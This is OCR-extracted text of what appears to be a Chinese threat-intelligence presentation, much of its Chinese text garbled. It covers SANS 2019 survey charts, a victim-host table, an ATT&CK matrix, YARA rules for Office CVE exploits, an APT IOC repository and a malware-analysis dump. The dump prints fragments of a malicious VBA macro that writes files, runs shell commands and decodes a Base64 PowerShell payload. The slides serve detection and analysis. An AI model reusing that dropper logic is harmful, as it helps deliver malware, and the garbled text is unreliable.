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For threat detection and response use cases, what is more valuable
to you in ranked order: strategic analysis of the adversary; digital
footprint or attack surface identification; threat behaviors and
adversary tactics, tradecraft and procedure; indicators of compromise?

Has the use of CTl improved your security
(prevention, detection) and response?

40.6%

40%
30%
B Yes 1.3%
H No 20% 18.0%
= Unknown 13.3%
1 .
0%

Indicators of Threat behaviors Digital footprint  Strategic analysis
compromise and adversary or attack surface of the adversary
tactics, tradecraft identification

and procedure

Source: The Evolution of Cyber Threat Intelligence (CTl): 2079 SANS CT/ Survey Source: The Evolution of Cyber Threat Intelligence (CTI): 2019 SANS CT/ Survey

B4

* SANS 2019 RBBRNEGRER R80%ZiINEH AN RMMEIREB AR, HRR—FR60%FRAIEK
- ERIREERNRERITAI0C, EREMERAIZRORE, ERBRIFRS, ETRIATTP
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Indicate whether your organization produces or % - i#*
consumes CTI in terms of raw data, contextual threat alerts, #h nnnnm %
and/or published threat intelligence reports.
B Produce  MBoth M Consume a2 ) UREAE BEBMSIR IR H
43% 0.3% 50.6% ARCHITECTURE [ PASSIVE DEFENSE , INTELLIGENCE OFFENSE
vaw vz ¢ [, SRl - NERA - R2HER - EEKE . EAFR
. T . B 7N . . & .
0% 20% 40% 60% 80% 100% . RARE . REE . AES . iR
Source: The Evolution of Cyber Threat Intelligence (CTl): 2079 SANS CT/ Survey Source: The Sliding Scale of Cyber Security: 2015 SANS , Robert M. Lee
o °
B8

*  SANSTE2019CTHREPINEE, KEPFHARIAEERR, AEISRAEE~XaEHEBRINANANMEARTEIL2%, XEEIMIEIE, EPRIRIE~RIERAILLGIRGZ(E

B,
BEMFRIFENER: ZEERFBINEENE, BHIRERAGER, HEEREFMINHMEER (RMER) LUREMAIRIGRO. REMSHRMERAEER

HraRIEIRENRE, EEIER S AGREIE.
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Statistics Systems
“amputer Operating system First Seen
Windows 10 Pro 2019-09-23 2019-09-23 11:03:39 jfv R — ‘
2 Windows 7 Ultimate 2019-09-26 2019-10-11 08:53:34 :
3 58.247. DP-BSPDDIL - Windows 10 Education 2019-09-27 2019-10-24 08:15:44 i Paa @D
4 66.249.8 A Windows Server 2016 Standard 2019-10-04 2019-10-23 06:28:40 7V
5 91.207. Windows 7 Professional 2019-10-05 2019-10-05 10:31:02 \ PaCd | Rie8icom
6 223.72.9% Windows 10 Pro 2019-10-09 2019-10-21 03:48:06 “7'747
7 45.116.2 Windows 10 Home China 2019-10-10 2019-10-10 10:43:04 sofrcom
8 185.220. Windows 7 Professional 2019-10-16 2019-10-16 02:34:44 ‘ 1
9 114.115 PC Windows 7 Professional 2019-10-16 2019-10-21 07:52:23 , yahoo.con
10 65.154.2 HowsThin Windows Embedded Standard  2019-10-17 2019-10-23 02:01:43 gmailcom
11 172.98.4 EPC Windows%207%20Enterprise 2019-10-21 2019-10-21 06:42:25 963@gmailcom
12 61.164.4 34 Microsoft Windows XP 2019-10-23 2019-10-23 02:43:48

10@yahoo.comen
19@hotmailcom

tmailcom

Submit Task Select B oo

- WEENEERSHE, SENEREEENERME, Payloadi¥iRiERFIFENR
- FSHET: URESERMIPNENSR, BRMSE LIIRTEHANGE, FREXREFEEE
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EDR. NDRESERIES

Privilege Credential Command and
Initial Access Persistence efense Evasion Discovel Lateral Movement [tration
Drive-by X Access Token Access Token Account . X . Commonly Used Automated Account Access
) AppleScript .bash_profile and .bashrc ) ) ) ) . ) Account Discovery AppleScript Audio Capture K
Compromise Manipulation Manipulation Manipulation Port Exfiltration Removal
Exploit Public- . o . Application Communication
) . Accessibility ) ) X Application Window Automated )
Facing CMSTP Accessibility Features Binary Padding Bash History . Deployment . Through Data Compressed = Data Destruction
o Features Discovery Collection .
Application Software Removable Media
. Component Object
External Remote Command-Line . . Browser Bookmark . . Data Encrypted
) Account Manipulation AppCert DLLs BITS Jobs Brute Force ) Model and Clipboard Data Connection Proxy  Data Encrypted
Services Interface Discovery Lo for Impact
Distributed COM
. . . Data from Custom )
Hardware i . . Bypass User Account Credential Domain Trust Exploitation of X Data Transfer Size
. Compiled HTML File AppCert DLLs Applnit DLLs ) . . Information Command and L Defacement
Additions Control Dumping Discovery Remote Services L Limits
Repositories = Control Protocol
Replication
Component Object Custom
Through P ) . Application Clear Command Credentials from File and Directory Internal Data from . Exfiltration Over Disk Content
Model and Applnit DLLs o ) ) L Cryptographic . )
Removable . Shimming History Web Browsers Discovery Spearphishing Local System Alternative Protocol Wipe
) Distributed COM Protocol
Media
Data from Exfiltration Over
Spearphishing - . Bypass User Credentials in Network Service . ) Disk Structure
Control Panel ltems = Application Shimming CMSTP . . Logon Scripts Network Data Encoding Command and i
Attachment Account Control Files Scanning K Wipe
Shared Drive Control Channel
Data from Exfiltration Over
Spearphishing Dynamic Data . DLL Search Order . Credentials in Network Share X Endpoint Denial
. Authentication Package o Code Signing ) . Pass the Hash Removable Data Obfuscation Other Network .
Link Exchange Hijacking Registry Discovery X ) of Service
Media Medium
Exploitation for
Spearphishin Execution through Exfiltration Over Firmware
p. P ) 9 9 BITS Jobs Dylib Hijacking = Compile After Delivery Credential Network Sniffing Pass the Ticket Data Staged = Domain Fronting ) . )
via Service API Physical Medium Corruption
Access
Elevated Domain
Supply Chain Execution through . ) . ) ) Forced Password Policy Remote Desktop Email . Inhibit System
. Bootkit Execution with Compiled HTML File L . X Generation Scheduled Transfer
Compromise Module Load Authentication Discovery Protocol Collection . Recovery
Prompt Algorithms
Trusted Exploitation for . . . Peripheral Device . Network Denial of
K . . . Browser Extensions Emond Component Firmware Hooking . Remote File Copy = Input Capture Fallback Channels i
Relationship Client Execution Discovery Service
Exploitation for
. Graphical User Change Default File P . Component Object Permission Groups . Man in the i Resource
Valid Accounts . Privilege L Input Capture . Remote Services Multi-hop Proxy .
Interface Association Escalation Model Hijacking Discovery Browser Hijacking
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Xt (Spear Phishing)

TEkE: Office. PDFXISERAIFIA. HXIRTERIATIMITE:
$IEMuERYEEE: SRR, Flash. JavaiFmiRASFIA, IREGAIERRE
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IEEX Y or BEXH?

90 @8 06 8
@6 o0
ee [3e-5e] @8 22

S| total VTSNS ER

=1

condition:
($egn_ver_3 or $eqn_ver_2) and $equation_native_stream
+

Delection raio:  0/60 ‘IO
condition:

. X ($egn_ver_3 or $eqn_ver 2) and
Aﬂa'yﬁls date 2018'05_ (for any i in (1..#egn_stream_1) : (uint8(@egn_stream 1[i] + !eqn_stream 1[i] + 42) != @) or %eqn_stream 2

}

rule CVE 2017 11882 BIN

8 88 B¢

[J e ; 96 00 1c @@ [38-45] 88 22 22}
[18] ea e1 o8 [40-6@] @O}

&)

rule CVE_2@17_€199_RTF

strings:

BAnalysis =~ @Fiedstal @ Additional information @ Comments @) % Votes $rtf_header " nocase
$url_monik “E® A79FOBACE118CE8208AA0B4BA0BB™
$str_ahttp
$str_whttp ) 3e (37 | 35) 3@ 3@ 38}
. n $str_aftp
Antivirus Result Update $str_wftp - {(36 ) (37 | 35) 30 30 20}
condition:
Ad-Aware v 201805 ($rtf _header at @) and $url moniker and ($str_ahttp or $str_whttp or $str_aftp or $str_wftp)
AggisLab ] 201805
AhnLab-V3 ] 201805
3398 CVE_2017_11882_RTF
_— - boa2 7 38cc00876e46da8 -->|CVE_2017 0
Albaba ° 10 ac6ef8coe74bo1d6 1 --> CVE_2017_6
A flda2ce67030 fee72ef408d53760f5ffaebd4410d3adf7 918 --> CVE_2017_11882_RTF; CVE_2018_0802_RTF
ALYac o 201605 £2fd8e69504c5b2531e91634abbbaaf8b2dde9fadc27f482a183b384d33320d2 --> CVE_2017_11882_RTF; CVE_2018_0802_RTF

1. VTR EAZLYN, SENRZL18? 1. REXMHEBETSIZE: XHES. BRNSIEFREERR;
2. RSEHRERFRTERLIL, MREBRBEEHEIRA 2. %iiiggﬁﬁﬂi BIREN. LINKEEXH. SrIEER
pE)S ;
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AT AZFERR? i e S T

I
i
"filepath™: T
"stream info": [t
+ =zt - EWEAEN ' \ A3 e - "stream type": "ole",
. AR TERAGROHREESESRISRTENE, TMNEEHE
"stream name": "y - __02306d629ca40592551081c4ebckbbdobd”,
"mds":  "02306d62%ca4092551081c4ebckbbdibe”,
ﬁ{{ﬁ?f”—‘ﬂ:‘g:‘:*}t{zg . "shal": "cc40a3bb20bl7bbl3sehb58886342a8371d692c01,
X y‘lﬁﬁ = yj "shalse": "ll9c64aBb35bde2eb3easfe30d533b2e0e7852a4Cc59694125LL08L9965b5L%cc",
"ssdeep™: "12288:4AZHJd2FKSaZMjMUPYiDNsrqghwRbyAg+uidIMHEQ: r1jo2OMKYz4wY+gaQ"”,

i EA SR A TR S S BN AR el
° " [ "
52 . &1\ = l#_'fT/Kx E e 8eEE 1 NES] ; ole_type": "ms_word",
"macro_info": £
3¢ Az + S N b — S P N NS "macro_type": "wba",
. . j’ Wgzi? Hil] Z!S E’J4:$ Z‘S f SZS tr% *EZ E )\ E % m "macro_stream name": "ThisDocument",
ﬁ%* . X [ ~5 S<HY I il_#ﬂ'/ =z H¥ HUX l’ / E i "macro_size": 2838,
"macro_data": "Attribute VB Name = \"ThisDocument\"\r\nAttribute VB Base = \"1lNormal.ThisDocument\"\r\nAttribute VB_GlobalWa
H\ L=/ \HR PN~ True\r\nAttribute VB_Exposed = True\r\nAttribute VB TemplateDerived = Truel\r\nAttribute VB_Customizable = True\r\nOption Expl
Xj/ \]&'fj—jj 9Rjt]:;|u<1l’50 Environg (\"AppData\") & \"\\Pr.bin\"\r\nShell Environg (\"COMSPEC\"} & \" /c echo powershell > \" & \" \" & Chr(34) & OoHHHD &

Until [Now() > JnQTSPz)\rinLoop\rin\r\nDim hBLtBWN, eBUH\r\nSet hBLtBWN = CreateCbject (\"ADODBE.Stream\")\r\nhELtEWN.Charset =
hBLLBWN.ReadText () \r\neBUH = Replace (eBUH, vbCrLf, vbNullString)\r\n\r\n\r\nDim COOgvrT &s Stringh\r\nCOOgvrT = ThisDocument.Fu
A Tmp. doch\ "\ r\nDim ®¥M3TQQ As String\r\nxM3iIQQ = \"Copy-Ttem \" & Chr(39) & \"%FilePath%\" & Chr(39) & \" \" & Chr(39) & \"%D|
COOgvrT) \r\nxMjIQQ = Replace (xMjIQQ, \"%DestFolder%\", ANYuGEOsm)\r\nShell Environ$ (\"COMSPEC\"™) & \" fc \" & eBUH & \" \" & x|
Now () )\r\nDo Uncil (Now() > JnQTSPzC)\r\nLoop\r\n\r\nDim UbdhzXR, RbnuKl\rinSet UbdhzXR = CreateCbject (\"ADCDE.Stream\")\r\nUb
(ANYuGEOsm) \r\nRbnuKl = UbdhzXR.ReadText () \r\n\r\nDim OaxIUyC As String\r\nDim norhEFQN() As String\r\nnorhEFQN = Split (RbnuKl
String\r\nMyBase = norhEFQN (1)\r\n\r\nDim 1nBv0 As String\r\nlnBv0D = Environ$ (\"AppData\") & \"\\Base.txt\"\r\n\r\nDim JBvTxY\|
JBvTxY.OpenTextFile (1nBvw0, 2, True)\r\nf.write MyBase\r\nf.Close\r\n\r\nDim GBFiIl As String\r\nGBFil = Environ$ (\"PUBLIC\"} &
WWEDATA = [System.Convert]::FromBase645tring([I0.File]::ReadhllText (':Baset'))[io.file]::WritelAllBytes ("GBFil",SDATA) rStarc—P|
IIEE n ;E EY1+/ 7 1nBv0) \r\nDAOVSAGaX = Replace [DROVSAGa¥, \"GBFiI\", GBFiI)\r\m\r\nShell Enviren$ (\"COMSPEC\") & %" Jc \" s =BUH & " \" 5 DAOV|
6 Chr(32) & \"$File%\" & Chr (339)\r\nbNJTCGU = Replace (bNJTCGU, \"%File%\", ANYuGEOsm)\r\nShell Environ$ (\"COMSPEC\"} & \" /c \"
E L4 \"$Filet\" & Chr(39)\r\nbNJICGU = Replace (bNJICGU, \"tFile%\", 1nBv0)\r\nShell Environ$ (\"COMSPEC\")} & \" /c \" & eBUH & \" \"
Chr (39) \r\nbNJTCGU = Replace (bNJICGU, \"%File%\", OoHHHD)\r\nShell Environ$ (\"COMSPEC\") & \" /c \" & eBUH & \" \" & bNJTCGU,

"yar:i;ules": [™Macros yara"],
"summary info": {

S A= A ] 2 "summary win version": 131082,
T B G L EERNSE RSB EISIE e T
"subkject™: "7

C HEBHOBERE: ). SRR FHEKES BT Far
"comments"™: "™,
. EREASEAOIE: L ESER SR T, SIS T
SN TS KAl RRees S ap R
H—ikﬁilj\)lb\ —D{Elu»\ NIl == —ﬁl:':gglez\ PDBKE BT o "cIEaEE_Eir.m':’: "2017/08/21 21;15":
"lastsave_dtm": "2017/08/22 08:54"
o summary_infom: (
"doc_summary win version": 131082,
"code_page™: 1252,
"company™: "7
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RJAPT Digital Wea

BEiee58igid 150 Bk kRa%E HFRAB 1" XFHash I0CEHE

& github.com/RedDrip7/APT_Digital_Weapon Q ¥ S B @ . o
RedDrip7 /| APT_Digital_Weapon ©® Watch 25 % Star 298 ¥ Fork 63
O Why GitHub? Enterprise Explore Marketplace Pricing Sign in ‘ |
<> Code Issues O Pull requests 0 Projects 0 Security Insights
RedDrip7 / APT_Digital Weapon O Watch | 25 | [ N Star | 208 | | ¥ Fork | €3 Branch: master - APT_Digital_ Weapon / APT28 / APT28_hash.md Find file Copy path
<> Code Issues O Pull requests 0 Projects O Security Insights .
l». RedDrip7 2019/12/05 ff45391 27 days ago
Indicators of compromise (IOCs) collected from public resources and categorized by Qi-AnXin. 1 contributor
© 8 commits 1 branch 59 0 packages 2> 0 releases 12 1 contributor &4 GPL-3.0
688 lines (688 sloc) 122 KB Raw Blame History CJ
Branch: master - Find file Clone or download -
= RedDrip7 Create LICENSE Latest commit 9elaadb 22 days ago
 APT-C-01 2019/12/05 27 days ago Hash Type Family Frist_ Seen  Name
m APT-C-15 2019/12/05 27 days ago ELF 2019-11-
= APT-C-23 2019/12/05 27 days ago 4e61e0d8bb0f674c536afde9296dd736 executable 1 Fysbis
i APT-C-27 2019/12/05 27 days ago 10:17:42
i APT-C-36 2019/12/05 27 days ago Wins2 2019-10-
in
m APT-C-37 2019/12/05 27 days ago b54e2b724b148fa032e9f981506587d5 EXE o8
. APTA 2019/12/05 27 days ago 03:47:46
mm APT10 2019/12/05 27 days ago Win32 2019-10-
in
s APT15 2019/12/05 27 days ago 6b7026e3a5ce0e2cc4bb8be955aecded EXE 07
= APT16 2019/12/05 27 days ago 03:10:10
s APT17 2019/12/05 27 days ago Wina2 2019-10-
in
i APT19 2019/12/05 27 days ago ccac33be2e9b95d5f1ad44ab6a7f64ed08 DLL 04
= APT23 2019/12/05 27 days ago 14:53:40
m APT27 2019/12/05 27 days ago Win64 2019-09-
in
m APT28 2019/12/05 27 days ago c01e87de07bc56589965aff67860f593 EXE 1
i APT29 2019/12/05 27 days ago 08:56:28
m APT3 2019/12/05 27 days ago Win64 2019-09-
i APT33 2019/12/05 27 days ago c8609af87250899e90eabae8fa50ba34 EXE sednit 09 certserv.exe
= APT34 2019/12/05 27 days ago 08:21:38
@ ®

APTHIFHRFIINE: £EHAPTAHR (Ebin: BEFEE. HiExX. APT28%F) | 1HX138D (ELWN: Operation Dustysky) ,
PARERRBRATINCERIMEZICTER(k (Ebal: TA505, MageCarts) AR, HIZRAB X {HHash I0CKEH.
BEZi¥IEiBiIAE: https://github.com/RedDrip7/APT Digital Weapon
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Clipboard = Font Paragrap Styles

Microsoft Office Word

! : There is not enough memory or disk space to complete the operation.

Word is converting poc_calertf: o T ]

i85 7 )
= I!: T ) WR @zapMm

Press ESC to cancel. |

8 Microsoft Word
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